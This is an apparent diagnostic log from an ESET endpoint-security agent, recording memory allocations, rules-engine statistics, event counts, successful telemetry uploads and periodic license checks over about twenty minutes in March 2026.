2026-03-04 21:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1852 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 266 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 130 KB; BatchSerializer::EventsQueueTag: 69 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37488 KB;
2026-03-04 21:14:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:14:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:14:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:14:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2231 KB; ModuleMetadata: 2035 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 447 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 117 KB; rules::ProcessConditionsCache: 115 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38108 KB;
2026-03-04 21:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2621 KB; ModuleMetadata: 2035 KB; BaseEvent: 631 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 167 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 118 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38768 KB;
2026-03-04 21:16:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:12:24, To:, 2026-03-04 21:16:29, Duration (s):, 245, Events Per Second:, 16.816, Events:, 4128, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3424, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 703, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458358
2026-03-04 21:16:32 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s743ms.
2026-03-04 21:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1506 KB; TcpIpConnectionsManager: 591 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 97 KB; BaseEvent: 73 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 36939 KB;
2026-03-04 21:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2184 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 686 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 407 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 106 KB; rules::ProcessConditionsCache: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38049 KB;
2026-03-04 21:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:18:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:16:29, To:, 2026-03-04 21:18:54, Duration (s):, 145, Events Per Second:, 28.256, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3393, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456141
2026-03-04 21:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1957 KB; TcpIpConnectionsManager: 816 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BatchStringTag: 445 KB; rules::ProcessConditionsCache: 390 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BaseEvent: 7 KB; BatchSerializer::EventsQueueTag: 2 KB; ExtendedTcpIpConnectionInfo: 2 KB; Total: 38259 KB;
2026-03-04 21:18:57 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s276ms.
2026-03-04 21:19:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:19:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:19:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:19:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2630 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 942 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; BaseEvent: 349 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 294 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 91 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38950 KB;
2026-03-04 21:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3285 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 931 KB; BaseEvent: 671 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 205 KB; BatchSerializer::EventsQueueTag: 175 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39915 KB;
2026-03-04 21:21:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:18:54, To:, 2026-03-04 21:21:02, Duration (s):, 128, Events Per Second:, 31.885, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3354, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 23, Livegrid:, 23, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454108
2026-03-04 21:21:04 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s239ms.
2026-03-04 21:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2874 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 941 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 284 KB; rules::ProcessConditionsCache: 190 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 74 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 39012 KB;
2026-03-04 21:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3253 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 854 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 469 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 171 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39517 KB;
2026-03-04 21:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3619 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 708 KB; BaseEvent: 649 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 170 KB; rules::ProcessConditionsCache: 160 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39951 KB;
2026-03-04 21:24:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:24:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:24:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:24:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:24:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:20:58, To:, 2026-03-04 21:24:25, Duration (s):, 207, Events Per Second:, 19.744, Events:, 4098, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3387, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454504
2026-03-04 21:24:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s072ms.
2026-03-04 21:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1689 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 133 KB; BaseEvent: 85 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37129 KB;
2026-03-04 21:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2051 KB; ModuleMetadata: 2035 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 264 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 116 KB; BatchSerializer::EventsQueueTag: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37682 KB;
2026-03-04 21:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2411 KB; ModuleMetadata: 2035 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 440 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 115 KB; rules::ProcessConditionsCache: 99 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38244 KB;
2026-03-04 21:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2771 KB; ModuleMetadata: 2035 KB; BaseEvent: 618 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 162 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38800 KB;
2026-03-04 21:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:28:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:24:20, To:, 2026-03-04 21:28:37, Duration (s):, 257, Events Per Second:, 15.954, Events:, 4105, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3383, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455755
2026-03-04 21:28:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s243ms.
2026-03-04 21:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1407 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 65 KB; BaseEvent: 51 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36699 KB;
2026-03-04 21:29:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:29:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:29:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:29:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1771 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 233 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::ProcessConditionsCache: 60 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37289 KB;
2026-03-04 21:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2141 KB; ModuleMetadata: 2035 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 414 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 108 KB; rules::ProcessConditionsCache: 56 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37887 KB;
2026-03-04 21:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2502 KB; ModuleMetadata: 2035 KB; BaseEvent: 593 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 155 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38459 KB;
2026-03-04 21:32:23 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:28:36, To:, 2026-03-04 21:32:23, Duration (s):, 227, Events Per Second:, 18.106, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3385, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 726, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457466
2026-03-04 21:32:24 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s336ms.
2026-03-04 21:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1833 KB; TcpIpConnectionsManager: 668 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 399 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 191 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37789 KB;
2026-03-04 21:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2510 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 803 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 525 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 331 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38958 KB;
2026-03-04 21:34:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:34:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:34:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:34:04 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:34:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:32:22, To:, 2026-03-04 21:34:33, Duration (s):, 131, Events Per Second:, 31.517, Events:, 4139, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3411, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458140
2026-03-04 21:34:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s332ms.
2026-03-04 21:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2427 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 950 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 265 KB; cloudutils::CloudData: 141 KB; BaseEvent: 114 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38442 KB;
2026-03-04 21:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 3156 KB; ModuleMetadata: 2035 KB; TcpIpConnectionsManager: 985 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 465 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 274 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 39668 KB;
